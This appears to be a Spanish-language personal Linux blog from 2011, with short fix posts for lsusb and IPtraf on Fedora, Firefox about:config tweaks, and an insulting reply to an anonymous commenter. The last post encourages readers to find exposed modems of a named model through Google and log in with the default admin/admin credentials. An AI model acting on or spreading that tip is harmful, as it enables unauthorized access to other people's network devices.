usb1 1d6b:0002 09 2.00 480MBit/s 0mA 1IFs (ehci_hcd 0000:00:1d.7) hub
1-6 17ef:1000 09 2.00 480MBit/s 2mA 1IFs (Lenovo) hub
usb2 1d6b:0001 09 1.10 12MBit/s 0mA 1IFs (uhci_hcd 0000:00:1d.0) hub
usb3 1d6b:0001 09 1.10 12MBit/s 0mA 1IFs (uhci_hcd 0000:00:1d.1) hub
usb4 1d6b:0001 09 1.10 12MBit/s 0mA 1IFs (uhci_hcd 0000:00:1d.2) hub
usb5 1d6b:0001 09 1.10 12MBit/s 0mA 1IFs (uhci_hcd 0000:00:1d.3) hub


Cual es el fix?, facil, el comando lsusb.py que no es mas que un python script, hace una llamada a usb.ids a /usr/share, donde el archivo no existe, entonces, como root hacemos:

cp /usr/share/hwdata/usb.ids /usr/share/usb.ids

Eso es todo.

Respuesta a un "anonimo"

Por lo visto aun en estos dias hay gente que aun se esconde detras de un teclado, en el anonimato de una  PC, yo creia que eso pasaba solo en el under elite hack, pero no señores, esto pasa tambien con los n00b trolls.
Paso a postear un comment que me llego de un "anonimo", para asi responderle y que no crea que soy tan cobarde como el.

"Anónimo ha dejado un nuevo comentario en su entrada "La incompetencia de los developers de ArchLinux ex...":

Pero usando Gnome o KDE o XFCE te queres hacer el geek? y ahora usando Fedora? haha.. vos sos un loser, no es que arch sea buenisima, ninguna distro lo es, pero la verdad, tenes infulas de grositud y sos de madera... tomatela .. ya te vere escribiendo que Fedora sucks o que Debian sucks haha."



Bueno, mi querido anonimo, voy a responderte por partes.
Yo no me describí como un Geek, tampoco como otra cosa, esos titulos deben ponerlo los demás, si a ti te parece que haces bien en ponerte un titulo de algo, esta bien por ti pequeño lammer.
Por mi lado, creo que usar gnome, KDE, xfce, ratpoison, dwm, wmii o lo que sea, no te hace ni mas ni menos experto.
En mi trabajo a diario, no uso nada, solo ssh y la terminal, ella y yo, asi que, en que lado entraría?.
Fedora es una distro despreciada por muchos, pero porque no saben usarla.
Es el RHEL dekstop, ni mas ni menos, RHEL6.1 es el producto de Fedora 12&13.
Fedora es la distro que soporta kernel.org, puedes mirarlo en netcraft.
Lo "groso" como dices tu, muy poco acorde con la RAE, no se mide por la distro o el desktop, o el windows manager, sino por la capacidad de entender, razonar, solucionar y parchear, algo que dudo poseas.
"Loser"?, bueno, no creo que trabajar donde lo hago sea para un perdedor pero esta bien si te hace feliz pequeño usuario de garchilinux.
Debian no sucks, ArchLinux Sucks, y dentro de poco, mal que te pese, voy a revelar mas sobre esta distro, que poco va a gustarle a sus developers y usuarios, como a ti, pero que puedo hacer?, mi conocimiento es mas fuerte que yo.
Por ultimo, la madera reporta bugs de seguridad en redhat?, soluciona problemas de kernel en Debian?, no lo creo, saludos, cyber tonto.

IPtraf Fedora 15 Warning: unable to tag this process

Bueno, algunos habran tenido este bug en fedora 15, y han creado el directorio /var/lib/iptraf o bien /var/run/iptraf sin resultados positivos.
Segun nos dice el manual de IPtraf y el strace, iptraf esta intentando crear un archivo llamado iptraf.tag en /var/lock/iptraf/, el cual no existe y no se crea en la instalacion, seguramente un problema del armado de los script del rpm.
Asi que hacemos mkdir -p /var/lock/iptraf
Listo, ya tenemos nuestro IPtraf sin bug.
Enjoy.

8 ago 2011

Mejorar rendimiento de Firefox o Iceweasel

Bueno, aqui os dejo unos tip para mejorar el rendimiento de Firefox o Iceweasel:

Primero que nada desactivamos el plugin container:

about:config en la barra de navegacion:

Buscamos el valor: dom.ipc.plugins.enabled

Damos Doble Click y quedará en false.

-----------------------------------------------------------------------------------------

Abrimos el navegador, en la barra de busqueda colocamos about:config
Nos dirá que podemos romper algo, ok, le decimos "tendre cuidado"
Ahora, en la busqueda o filtro, pegamos este valor:

network.http.pipelining

Le damos doble click y de False pasará a True.

Debajo del mismo, tenemos uno llamado:

network.http.pipelining.maxrequests

Damos Doble Click y el valor que viene es 4, pues ponemos 32 y damos aceptar.

Luego buscamos este valor:

network.http.proxy.pipelining

Y cambiamos de la misma forma, su valor de False a true.

Ahora vamos a crear un par de valores que no existen, ok?, siganme al pie de la letra.

Click derecho sobre la pagina central donde estan los valores, ponemos nuevo >> Logico >> y tipeamos este nombre:

network.http.pipelining.firstrequest

Al darle aceptar nos pedira un valor, le ponemos true.

Ahora, creamos otro, pero Entero:

Nuevo valor > Entero y ponemos este nombre:

nglayout.initialpaint.delay

Enter y los pedira un valor, colocamos 0 y aceptamos.

Cerramos el Firefox o iceweasel, y entramos a paginas pesadas con muchas imagenes como taringa o cosas asi y ya no se colgara el firefox, sobre todo en PC viejitas.

6 jul 2011

Haciendo nada encontre algo...

Buscando fallas en la red de un amigo que posee telecom corporativo mediante un modem Xav! encontre que al poner en google el modelo salen muchos modem, y algunos, por no decir la mayoria, dejan el default pass como admin admin, divertanse:

X3402A3